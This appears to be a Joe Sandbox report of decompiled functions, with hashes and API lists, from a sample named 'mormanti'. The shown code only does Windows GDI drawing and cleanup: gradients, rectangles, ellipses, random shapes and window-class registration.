Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: Create$BrushSolid$CountTicksrand
String ID:
API String ID: 3112745008-0
Opcode ID: e35bdb79114558b74c8cfe15e3843ce4edfd52731dc7b6d23623fd68cbbd6d1f
Instruction ID: c65e77752282c805f34c7820c4ec4dc988d71f79a50afa4e1394c01f293f3fd9
Opcode Fuzzy Hash: e35bdb79114558b74c8cfe15e3843ce4edfd52731dc7b6d23623fd68cbbd6d1f
Instruction Fuzzy Hash: A2012871D40324ABDB106FB1AC0EBCD3E6AFB06760F048567FA18AB2E0EA755550DF84

Uniqueness

Uniqueness Score: -1.00%

Function 00C11A1F, Relevance: 10.6, APIs: 7, Instructions: 150
windowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00C11A1F(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t82;
				signed int _t90;
				intOrPtr* _t91;
				void* _t103;
				int _t105;
				unsigned int _t108;
				intOrPtr _t118;
				int _t129;
				struct HDC__* _t130;
				void* _t131;
				signed int _t134;
				intOrPtr _t135;
				intOrPtr _t136;
				int _t137;
				signed int _t138;
				void* _t139;
				void* _t140;
				signed int _t141;
				void* _t143;

				_t141 = _t143 - 0x70;
				_t82 =  *0xc16018; // 0x649a0353
				 *(_t141 + 0x6c) = _t82 ^ _t141;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *(_t141 + 0x60) =  *(_t141 + 0x78);
				asm("movsd");
				OffsetRect(_t141 + 0x48,  ~( *(_t141 + 0x48)), 0);
				_t129 =  *(_t141 + 0x50);
				_t134 = 3;
				asm("cdq");
				_t90 = _t129 / _t134;
				_t105 =  *(_t141 + 0x54);
				_t135 = 2;
				 *((intOrPtr*)(_t141 - 0x20)) = _t135;
				 *((intOrPtr*)(_t141 - 0x18)) = _t135;
				_t136 = 6;
				 *((intOrPtr*)(_t141 - 8)) = _t136;
				 *_t141 = _t136;
				_t137 =  *(_t141 + 0x4c);
				 *(_t141 + 0xc) = _t137;
				 *(_t141 + 0x14) = _t137;
				 *(_t141 + 0x2c) = _t137;
				 *(_t141 + 0x34) = _t137;
				 *(_t141 + 0x5c) = _t129;
				 *(_t141 + 0x58) = _t105;
				 *((intOrPtr*)(_t141 - 0x28)) = 0;
				 *((intOrPtr*)(_t141 - 0x24)) = 1;
				 *((intOrPtr*)(_t141 - 0x1c)) = 0;
				 *((intOrPtr*)(_t141 - 0x14)) = 3;
				 *((intOrPtr*)(_t141 - 0x10)) = 4;
				 *((intOrPtr*)(_t141 - 0xc)) = 5;
				 *((intOrPtr*)(_t141 - 4)) = 4;
				 *((intOrPtr*)(_t141 + 4)) = 7;
				_t118 = _t90 + _t90;
				 *(_t141 + 8) = _t90;
				 *(_t141 + 0x18) = _t90;
				 *(_t141 + 0x40) = _t90;
				 *((intOrPtr*)(_t141 + 0x10)) = _t118;
				 *(_t141 + 0x1c) = _t105;
				 *((intOrPtr*)(_t141 + 0x20)) = 0;
				 *(_t141 + 0x24) = _t105;
				 *((intOrPtr*)(_t141 + 0x28)) = _t118;
				 *(_t141 + 0x30) = _t129;
				 *((intOrPtr*)(_t141 + 0x38)) = _t118;
				 *(_t141 + 0x3c) = _t105;
				 *(_t141 + 0x44) = _t105;
				 *((char*)(_t141 + 0x64)) = 0;
				 *((char*)(_t141 + 0x65)) = 1;
				 *((char*)(_t141 + 0x66)) = 1;
				 *((char*)(_t141 + 0x67)) = 0;
				 *((char*)(_t141 + 0x68)) = 1;
				 *((char*)(_t141 + 0x69)) = 0;
				 *((char*)(_t141 + 0x6a)) = 0;
				 *((char*)(_t141 + 0x6b)) = 1;
				_t138 = 0;
				_t91 = _t141 - 0xa4;
				do {
					asm("sbb ecx, ecx");
					_t108 =  ~( *(_t141 + _t138 + 0x64) & 0x000000ff) &  *(_t141 + 0x7c);
					 *((intOrPtr*)(_t91 - 4)) =  *((intOrPtr*)(_t141 + 8 + _t138 * 8));
					 *_t91 =  *((intOrPtr*)(_t141 + 0xc + _t138 * 8));
					 *(_t91 + 4) = (_t108 & 0x000000ff) << 8;
					 *(_t91 + 8) = (_t108 >> 0x00000010 & 0x000000ff) << 8;
					_t126 = (_t108 >> 0x00000008 & 0x000000ff) << 8;
					asm("sbb ecx, ecx");
					 *(_t91 + 6) = (_t108 >> 0x00000008 & 0x000000ff) << 8;
					 *((short*)(_t91 + 0xa)) =  ~( *(_t141 + _t138 + 0x64) & 0x000000ff) & 0x0000ff00;
					_t138 = _t138 + 1;
					_t91 = _t91 + 0x10;
				} while (_t138 < 8);
				_t130 = CreateCompatibleDC( *(_t141 + 0x60));
				_t139 = CreateCompatibleBitmap( *(_t141 + 0x60),  *(_t141 + 0x5c),  *(_t141 + 0x58));
				SelectObject(_t130, _t139);
				BitBlt(_t130, 0, 0,  *(_t141 + 0x5c),  *(_t141 + 0x58),  *(_t141 + 0x60),  *(_t141 + 0x48),  *(_t141 + 0x4c), 0x42);
				__imp__GradientFill(_t141 - 0xa8, _t141 - 0x28, 4, 2);
				DeleteDC(_t130);
				_t131 = _t130;
				 *0xc165d8 = _t139;
				_pop(_t140);
				_t103 = 8;
				return E00C1272C(_t139, _t103,  *(_t141 + 0x6c) ^ _t141, _t126, _t131, _t140);
			}

0x00c11a20
0x00c11a2a
0x00c11a31
0x00c11a3f
0x00c11a40
0x00c11a41
0x00c11a42
0x00c11a45
0x00c11a53
0x00c11a59
0x00c11a5e
0x00c11a61
0x00c11a62
0x00c11a64
0x00c11a69
0x00c11a6a
0x00c11a6d
0x00c11a72
0x00c11a73
0x00c11a76
0x00c11a79
0x00c11a7c
0x00c11a7f
0x00c11a82
0x00c11a85
0x00c11a88
0x00c11a8b
0x00c11a8e
0x00c11a91
0x00c11a98
0x00c11a9b
0x00c11aa2
0x00c11aa9
0x00c11ab0
0x00c11ab7
0x00c11abe
0x00c11ac1
0x00c11ac4
0x00c11ac7
0x00c11aca
0x00c11acd
0x00c11ad0
0x00c11ad3
0x00c11ad6
0x00c11ad9
0x00c11adc
0x00c11adf
0x00c11ae2
0x00c11ae5
0x00c11ae8
0x00c11aec
0x00c11af0
0x00c11af3
0x00c11af7
0x00c11afa
0x00c11afd
0x00c11b01
0x00c11b03
0x00c11b09
0x00c11b14
0x00c11b16
0x00c11b19
0x00c11b20
0x00c11b2a
0x00c11b3e
0x00c11b4b
0x00c11b51
0x00c11b59
0x00c11b5d
0x00c11b61
0x00c11b62
0x00c11b65
0x00c11b76
0x00c11b84
0x00c11b88
0x00c11ba2
0x00c11bba
0x00c11bc1
0x00c11bca
0x00c11bcb
0x00c11bd3
0x00c11bd6
0x00c11be0

APIs

OffsetRect.USER32(?,?,00000000), ref: 00C11A53
CreateCompatibleDC.GDI32(?), ref: 00C11B6D
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00C11B7E
SelectObject.GDI32(00000000,00000000), ref: 00C11B88
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,00000042), ref: 00C11BA2
GradientFill.MSIMG32(00000000,?,00000008,?,00000004,00000002,?,?), ref: 00C11BBA
DeleteDC.GDI32(00000000), ref: 00C11BC1

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: CompatibleCreate$BitmapDeleteFillGradientObjectOffsetRectSelect
String ID:
API String ID: 4124605331-0
Opcode ID: 57071b3482c0c9a1cee6c78ce55a6ab5514b97d9cff3b1c63068fdae965287c9
Instruction ID: fc060744ad11bba9490da60f450aee10bb29b981e9e5e641198131dae4f76e36
Opcode Fuzzy Hash: 57071b3482c0c9a1cee6c78ce55a6ab5514b97d9cff3b1c63068fdae965287c9
Instruction Fuzzy Hash: 905134B19103589FDB09DFA9C844AEE7FA9FF0A304F01816AFE1997260D3B58944DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C1186A, Relevance: 10.6, APIs: 7, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00C1186A(intOrPtr* __eax, struct HDC__* _a4, struct HRGN__* _a8, char _a12, signed int _a16, signed int _a24) {
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				intOrPtr _v28;
				char _v32;
				void* __esi;
				char _t48;
				intOrPtr _t53;
				int _t56;
				int _t58;
				int _t60;
				int _t66;
				int _t68;
				int _t70;
				void* _t73;
				intOrPtr* _t74;
				intOrPtr* _t75;
				char _t76;

				_t75 = __eax;
				_v24 = SaveDC(_a4);
				SelectClipRgn(_a4, _a8);
				_t74 =  *((intOrPtr*)(_t75 + 0x14));
				_t76 =  *_t75;
				_v28 =  *_t74;
				_v12 = _t76;
				_v32 = _t76;
				while(1) {
					_t48 = _v32;
					if(_t48 == 0 || _t48 != _v12) {
						__imp___invalid_parameter_noinfo();
					}
					if(_v28 == _t74) {
						break;
					}
					_t77 =  &_v32;
					SelectObject(_a4,  *(E00C11DF8( &_v32) + 0x20));
					_t73 = E00C11DF8( &_v32);
					_t53 = E00C11DF8(_t77);
					if(_a12 == 0) {
						_v20 = _t53;
						_v16 = E00C11DF8(_t77);
						_t56 = E00C13140(E00C11DF8( &_v32),  *(_t73 + 0x18) * _a24);
						_t58 = E00C13140(_v20,  *(_v20 + 0x10) * _a16);
						_t60 = E00C13140(_v16,  *(_v16 + 8) * _a24);
						Rectangle(_a4, E00C13140(_t60,  *_t55 * _a16), _t60, _t58, _t56);
					} else {
						_v16 = _t53;
						_v20 = E00C11DF8(_t77);
						_t66 = E00C13140(E00C11DF8(_t77),  *(_t73 + 0x18) * _a24);
						_t68 = E00C13140(_v16,  *(_v16 + 0x10) * _a16);
						_t70 = E00C13140(_v20,  *(_v20 + 8) * _a24);
						Ellipse(_a4, E00C13140(_t70,  *_t65 * _a16), _t70, _t68, _t66);
					}
					E00C11C99( &_v32);
				}
				return RestoreDC(_a4, _v24);
			}

0x00c11876
0x00c11881
0x00c11887
0x00c1188d
0x00c11890
0x00c11894
0x00c11897
0x00c1189a
0x00c1189d
0x00c1189d
0x00c118a2
0x00c118a9
0x00c118a9
0x00c118b2
0x00000000
0x00000000
0x00c118b8
0x00c118c6
0x00c118d1
0x00c118d3
0x00c118dc
0x00c11930
0x00c1193b
0x00c1194b
0x00c1195a
0x00c11969
0x00c1197d
0x00c118de
0x00c118de
0x00c118e6
0x00c118f6
0x00c11905
0x00c11914
0x00c11928
0x00c11928
0x00c11986
0x00c11986
0x00c119a0

APIs

SaveDC.GDI32(?), ref: 00C11878
SelectClipRgn.GDI32(?,?), ref: 00C11887
_invalid_parameter_noinfo.MSVCR90 ref: 00C118A9
SelectObject.GDI32(?,?), ref: 00C118C6
Ellipse.GDI32(?,00000000,00000000,00000000,00000000), ref: 00C11928
Rectangle.GDI32(?,00000000,00000000,00000000,00000000), ref: 00C1197D
RestoreDC.GDI32(?,?), ref: 00C11996

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: Select$ClipEllipseObjectRectangleRestoreSave_invalid_parameter_noinfo
String ID:
API String ID: 996756098-0
Opcode ID: 3ee6ee41c2798373aeb58f8ef2757a44bdd32116ec9afa31071dbd95e3542ad2
Instruction ID: 9659c94d980c062ec24f155ca50f4c2e7371e986b3b6a2ea7278e0dfa350c62d
Opcode Fuzzy Hash: 3ee6ee41c2798373aeb58f8ef2757a44bdd32116ec9afa31071dbd95e3542ad2
Instruction Fuzzy Hash: A9413571D0021AEBCF00AFA5EC0AADEBB74FF09750B168551F951B3121CB34DAA5EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C123C4, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 32
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C123C4(struct HINSTANCE__* __eax) {
				struct _WNDCLASSEXW _v52;

				_v52.cbClsExtra = _v52.cbClsExtra & 0x00000000;
				_v52.cbWndExtra = _v52.cbWndExtra & 0x00000000;
				_v52.cbSize = 0x30;
				_v52.style = 3;
				_v52.lpfnWndProc = E00C124A9;
				_v52.hInstance = __eax;
				_v52.hIcon = LoadIconW(__eax, 0x6b);
				_v52.hCursor = LoadCursorW(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0x6d;
				_v52.lpszClassName = 0xc16410;
				_v52.hIconSm = LoadIconW(_v52.hInstance, 0x6c);
				return RegisterClassExW( &_v52);
			}

0x00c123ca
0x00c123ce
0x00c123dc
0x00c123e3
0x00c123ea
0x00c123f1
0x00c123fd
0x00c1240b
0x00c1240e
0x00c12415
0x00c1241c
0x00c12425
0x00c12434

APIs

LoadIconW.USER32 ref: 00C123F4
LoadCursorW.USER32(00000000,00007F00), ref: 00C12400
LoadIconW.USER32 ref: 00C12423
RegisterClassExW.USER32 ref: 00C1242C

Strings

m, xrefs: 00C12415
0, xrefs: 00C123DC

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: Load$Icon$ClassCursorRegister
String ID: 0$m
API String ID: 4202395251-432128193
Opcode ID: f64d465029403c2fe231957b837f7dabcabf48fdaa770dd28da0aaa7628ece1a
Instruction ID: 141681633313b37b3a6593eae1cbe7db6ffe05ed49c4d8ba25b28c89c954e453
Opcode Fuzzy Hash: f64d465029403c2fe231957b837f7dabcabf48fdaa770dd28da0aaa7628ece1a
Instruction Fuzzy Hash: 770114B1C10219ABEF009FE4DC09BDEBFB8BB09315F10841AE510B6281D7B916548FA4

Uniqueness

Uniqueness Score: -1.00%

Function 00C11772, Relevance: 9.1, APIs: 6, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00C11772(unsigned int __eax, signed long long* __edi, signed long long __fp0, unsigned int _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v24;
				signed long long _v32;
				signed long long _v40;
				signed int _t49;
				unsigned int _t51;
				signed int _t52;
				signed int _t54;
				void* _t56;
				unsigned int _t57;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t75;
				void* _t76;
				void* _t77;
				void* _t78;
				signed long long* _t80;
				signed long long _t92;

				_t91 = __fp0;
				_t80 = __edi;
				_t57 = __eax;
				_t69 = rand() % ((_a4 >> 1) - 1);
				_v12 = _t69;
				asm("fild dword [ebp-0x8]");
				if(_t69 < 0) {
					_t91 = __fp0 +  *0xc14438;
				}
				_v32 = _t91;
				_t71 = rand() % ((_t57 >> 1) - 1);
				_v12 = _t71;
				asm("fild dword [ebp-0x8]");
				if(_t71 < 0) {
					_t91 = _t91 +  *0xc14438;
				}
				_v40 = _t91;
				asm("fild dword [ebp+0x8]");
				if(_a4 < 0) {
					_t91 = _t91 +  *0xc14438;
				}
				_v16 = _t91;
				_t49 = rand();
				asm("cdq");
				_t51 = _t57;
				_a4 = _t49 % (_a4 - 1);
				asm("fild dword [ebp+0x8]");
				_a4 = _t51;
				_t92 = _t91 / _v16;
				 *_t80 = _t92;
				asm("fild dword [ebp+0x8]");
				if(_t51 < 0) {
					_t92 = _t92 +  *0xc14438;
				}
				_v24 = _t92;
				_t52 = rand();
				asm("cdq");
				_a4 = _t52 % (_t57 - 1);
				asm("fild dword [ebp+0x8]");
				_t80[1] = _t92 / _v24;
				_t80[2] = _v32 / _v16;
				_t80[3] = _v40 / _v24;
				_t54 = rand();
				asm("cdq");
				_t67 = 5;
				_t75 = _t54 % _t67;
				if(_t75 == 0) {
					_t56 =  *0xc165c4; // 0x0
				} else {
					_t76 = _t75 - 1;
					if(_t76 == 0) {
						_t56 =  *0xc165c8; // 0x0
					} else {
						_t77 = _t76 - 1;
						if(_t77 == 0) {
							_t56 =  *0xc165cc; // 0x0
						} else {
							_t78 = _t77 - 1;
							if(_t78 == 0) {
								_t56 =  *0xc165d0; // 0x0
							} else {
								if(_t78 == 1) {
									_t56 =  *0xc165d4; // 0x0
								} else {
									_t56 = GetStockObject(0);
								}
							}
						}
					}
				}
				_t80[4] = _t56;
				return _t56;
			}

0x00c11772
0x00c11772
0x00c11780
0x00c1178c
0x00c1178e
0x00c11791
0x00c11796
0x00c11798
0x00c11798
0x00c1179e
0x00c117aa
0x00c117ac
0x00c117af
0x00c117b4
0x00c117b6
0x00c117b6
0x00c117bf
0x00c117c2
0x00c117c7
0x00c117c9
0x00c117c9
0x00c117cf
0x00c117d2
0x00c117d7
0x00c117db
0x00c117dd
0x00c117e0
0x00c117e3
0x00c117e6
0x00c117e9
0x00c117eb
0x00c117f0
0x00c117f2
0x00c117f2
0x00c117f8
0x00c117fb
0x00c117fd
0x00c11801
0x00c11804
0x00c1180a
0x00c11813
0x00c1181c
0x00c1181f
0x00c11823
0x00c11824
0x00c11827
0x00c1182a
0x00c1185e
0x00c1182c
0x00c1182c
0x00c1182d
0x00c11857
0x00c1182f
0x00c1182f
0x00c11830
0x00c11850
0x00c11832
0x00c11832
0x00c11833
0x00c11849
0x00c11835
0x00c11836
0x00c11842
0x00c11838
0x00c1183a
0x00c1183a
0x00c11836
0x00c11833
0x00c11830
0x00c1182d
0x00c11864
0x00c11869

APIs

rand.MSVCR90 ref: 00C11782
rand.MSVCR90 ref: 00C117A1
rand.MSVCR90 ref: 00C117D2
rand.MSVCR90 ref: 00C117FB
rand.MSVCR90 ref: 00C1181F
GetStockObject.GDI32(00000000), ref: 00C1183A

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: rand$ObjectStock
String ID:
API String ID: 2053096085-0
Opcode ID: 819f3d62ee0b8f6cf48ad670f3b638b13b9617d09058176fc58f79ccc57ea27f
Instruction ID: e7643493a13bb53a671e8a5066dac4c0687e14cdfff3b9327c012c254a12d23a
Opcode Fuzzy Hash: 819f3d62ee0b8f6cf48ad670f3b638b13b9617d09058176fc58f79ccc57ea27f
Instruction Fuzzy Hash: FE319130E08919E7DB089F5AE8847ECBFB6FB86300F66C059D945561C0DB719EE0EB84

Uniqueness

Uniqueness Score: -1.00%

Function 00C11271, Relevance: 9.0, APIs: 6, Instructions: 40
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C11271(struct HWND__* _a4) {
				struct tagRECT _v20;
				struct HDC__* _t9;
				void* _t14;
				struct HDC__* _t17;
				struct HDC__* _t19;

				_t9 =  *0xc165a0; // 0x0
				if(_t9 == 0) {
					GetClientRect(_a4,  &_v20);
					_t19 = GetDC(_a4);
					 *0xc165a0 = CreateCompatibleDC(_t19);
					_t14 = CreateCompatibleBitmap(_t19, _v20.right - _v20.left, _v20.bottom - _v20.top);
					 *0xc165a4 = _t14;
					SelectObject( *0xc165a0, _t14);
					ReleaseDC(_a4, _t19);
					_t17 =  *0xc165a0; // 0x0
					return _t17;
				}
				return _t9;
			}

0x00c11274
0x00c1127e
0x00c1128a
0x00c112a5
0x00c112b1
0x00c112b6
0x00c112c3
0x00c112c8
0x00c112d2
0x00c112d8
0x00000000
0x00c112df
0x00c112e1

APIs

GetClientRect.USER32 ref: 00C1128A
GetDC.USER32(?), ref: 00C1129F
CreateCompatibleDC.GDI32(00000000), ref: 00C112A8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00C112B6
SelectObject.GDI32(00000000), ref: 00C112C8
ReleaseDC.USER32 ref: 00C112D2

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: CompatibleCreate$BitmapClientObjectRectReleaseSelect
String ID:
API String ID: 4043710568-0
Opcode ID: 6639f86322639685d7d24f3f9ada74817a804ee3b36deaef86ee848f2411f0b5
Instruction ID: f5d02cee94193154edec8b93df7064e39313fa69b13995866e95c490347eb79c
Opcode Fuzzy Hash: 6639f86322639685d7d24f3f9ada74817a804ee3b36deaef86ee848f2411f0b5
Instruction Fuzzy Hash: 9701E876500208EFCF049FA9EC48BEE7F79FB4A3957008419FA01E3224E730A940DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C111BA, Relevance: 9.0, APIs: 6, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00C111BA() {
				void* __esi;
				struct HDC__* _t10;
				void* _t11;
				void* _t12;
				int _t13;

				E00C11C1E(0xc165f4);
				E00C11C1E(0xc16610);
				DeleteObject( *0xc165c0);
				DeleteObject( *0xc165c4);
				DeleteObject( *0xc165c8);
				DeleteObject( *0xc165cc);
				DeleteObject( *0xc165d0);
				DeleteObject( *0xc165d4);
				 *0xc165c0 = 0;
				 *0xc165c4 = 0;
				 *0xc165c8 = 0;
				 *0xc165cc = 0;
				 *0xc165d0 = 0;
				 *0xc165d4 = 0;
				_pop(_t19);
				_t10 =  *0xc165a0; // 0x0
				if(_t10 != 0) {
					DeleteDC(_t10);
					 *0xc165a0 =  *0xc165a0 & 0x00000000;
				}
				_t11 =  *0xc165a4; // 0x0
				if(_t11 != 0) {
					DeleteObject(_t11);
					 *0xc165a4 =  *0xc165a4 & 0x00000000;
				}
				_t12 =  *0xc165d8; // 0x0
				if(_t12 != 0) {
					_t13 = DeleteObject(_t12);
					 *0xc165d8 =  *0xc165d8 & 0x00000000;
					return _t13;
				}
				return _t12;
			}

0x00c111c0
0x00c111ca
0x00c111db
0x00c111e3
0x00c111eb
0x00c111f3
0x00c111fb
0x00c11203
0x00c11207
0x00c1120c
0x00c11211
0x00c11216
0x00c1121b
0x00c11220
0x00c11225
0x00c1122b
0x00c11232
0x00c11235
0x00c1123b
0x00c1123b
0x00c11242
0x00c11250
0x00c11253
0x00c11255
0x00c11255
0x00c1125c
0x00c11263
0x00c11266
0x00c11268
0x00000000
0x00c11268
0x00c11270

APIs

Part of subcall function 00C11C1E: ??3@YAXPAX@Z.MSVCR90 ref: 00C11C38

DeleteObject.GDI32(7743A770), ref: 00C111DB
DeleteObject.GDI32 ref: 00C111E3
DeleteObject.GDI32 ref: 00C111EB
DeleteObject.GDI32 ref: 00C111F3
DeleteObject.GDI32 ref: 00C111FB
DeleteObject.GDI32 ref: 00C11203

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: DeleteObject$??3@
String ID:
API String ID: 3140518222-0
Opcode ID: 3ac9f387272ff8b478c8f1a6f58182ddf51d255a94430ef50e58e2bbb14f3913
Instruction ID: cb56bf464c8c4170a4a9be68876ff5f3528efd920cb0c8c5f21efbf5a52bb918
Opcode Fuzzy Hash: 3ac9f387272ff8b478c8f1a6f58182ddf51d255a94430ef50e58e2bbb14f3913
Instruction Fuzzy Hash: 1CF014719411249ECB51AF25ED057CD3EABF70B3643058077D508D2279EB320894EF90

Uniqueness

Uniqueness Score: -1.00%

Function 00C11EAD, Relevance: 7.6, APIs: 5, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00C11EAD(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t49;
				intOrPtr _t53;
				intOrPtr _t57;
				intOrPtr _t61;
				void* _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				signed int _t78;
				signed int _t80;
				void* _t81;
				intOrPtr _t89;
				void* _t91;
				intOrPtr* _t93;
				void* _t94;
				signed int _t100;

				_push(0x14);
				E00C130EB(E00C13308, __ebx, __edi, __esi);
				_t93 =  *((intOrPtr*)(_t94 + 8));
				_t49 =  *((intOrPtr*)(_t94 + 0xc));
				_t80 = 0;
				 *(_t94 - 0x14) = 0;
				_t81 = _t49 + 1;
				do {
					_t89 =  *_t49;
					_t49 = _t49 + 1;
				} while (_t89 != 0);
				_t91 = _t49 - _t81;
				_t53 =  *((intOrPtr*)( *((intOrPtr*)( *_t93 + 4)) + _t93 + 0x18));
				if(_t53 > 0 && _t53 > _t91) {
					_t78 = _t53 - _t91;
					_t100 = _t78;
					_t80 = _t78;
				}
				_push(_t94 - 0x20);
				E00C11CCA(_t91, _t93, _t100);
				 *(_t94 - 4) =  *(_t94 - 4) & 0x00000000;
				if( *((char*)(_t94 - 0x1c)) != 0) {
					 *(_t94 - 4) = 1;
					_t57 =  *((intOrPtr*)( *_t93 + 4));
					__eflags = ( *(_t57 + _t93 + 0x10) & 0x000001c0) - 0x40;
					if(( *(_t57 + _t93 + 0x10) & 0x000001c0) == 0x40) {
						L12:
						_t61 =  *((intOrPtr*)( *_t93 + 4));
						__imp__?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHPBDH@Z( *((intOrPtr*)(_t94 + 0xc)), _t91);
						__eflags = _t61 - _t91;
						if(_t61 == _t91) {
							while(1) {
								__eflags = _t80;
								if(_t80 <= 0) {
									goto L14;
								}
								_t72 =  *((intOrPtr*)( *_t93 + 4)) + _t93;
								_t73 =  *((intOrPtr*)(_t72 + 0x28));
								 *((char*)(_t94 - 0x18)) =  *((intOrPtr*)(_t72 + 0x30));
								__imp__?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z( *((intOrPtr*)(_t94 - 0x18)));
								__eflags = _t73 - 0xffffffff;
								if(_t73 != 0xffffffff) {
									_t80 = _t80 - 1;
									continue;
								} else {
									 *(_t94 - 0x14) =  *(_t94 - 0x14) | 0x00000004;
									goto L14;
								}
								L21:
							}
						} else {
							 *(_t94 - 0x14) = 4;
						}
					} else {
						while(1) {
							__eflags = _t80;
							if(_t80 <= 0) {
								break;
							}
							_t76 =  *((intOrPtr*)( *_t93 + 4)) + _t93;
							_t77 =  *((intOrPtr*)(_t76 + 0x28));
							 *((char*)(_t94 - 0x18)) =  *((intOrPtr*)(_t76 + 0x30));
							__imp__?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z( *((intOrPtr*)(_t94 - 0x18)));
							__eflags = _t77 - 0xffffffff;
							if(_t77 != 0xffffffff) {
								_t80 = _t80 - 1;
								continue;
							} else {
								_t22 = _t94 - 0x14;
								 *_t22 =  *(_t94 - 0x14) | 0x00000004;
								__eflags =  *_t22;
							}
							break;
						}
						__eflags =  *(_t94 - 0x14);
						if( *(_t94 - 0x14) == 0) {
							goto L12;
						}
					}
					L14:
					 *( *((intOrPtr*)( *_t93 + 4)) + _t93 + 0x18) =  *( *((intOrPtr*)( *_t93 + 4)) + _t93 + 0x18) & 0x00000000;
					_t33 = _t94 - 4;
					 *_t33 =  *(_t94 - 4) & 0x00000000;
					__eflags =  *_t33;
				} else {
					 *(_t94 - 0x14) = 4;
				}
				__imp__?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z( *(_t94 - 0x14), 0);
				 *(_t94 - 4) =  *(_t94 - 4) | 0xffffffff;
				_push(_t94 - 0x20);
				E00C11D28(_t93,  *(_t94 - 4));
				return E00C13121(_t93);
				goto L21;
			}

0x00c11ead
0x00c11eb4
0x00c11eb9
0x00c11ebc
0x00c11ebf
0x00c11ec1
0x00c11ec4
0x00c11ec7
0x00c11ec7
0x00c11ec9
0x00c11eca
0x00c11ed0
0x00c11ed7
0x00c11edd
0x00c11ee3
0x00c11ee3
0x00c11ee5
0x00c11ee5
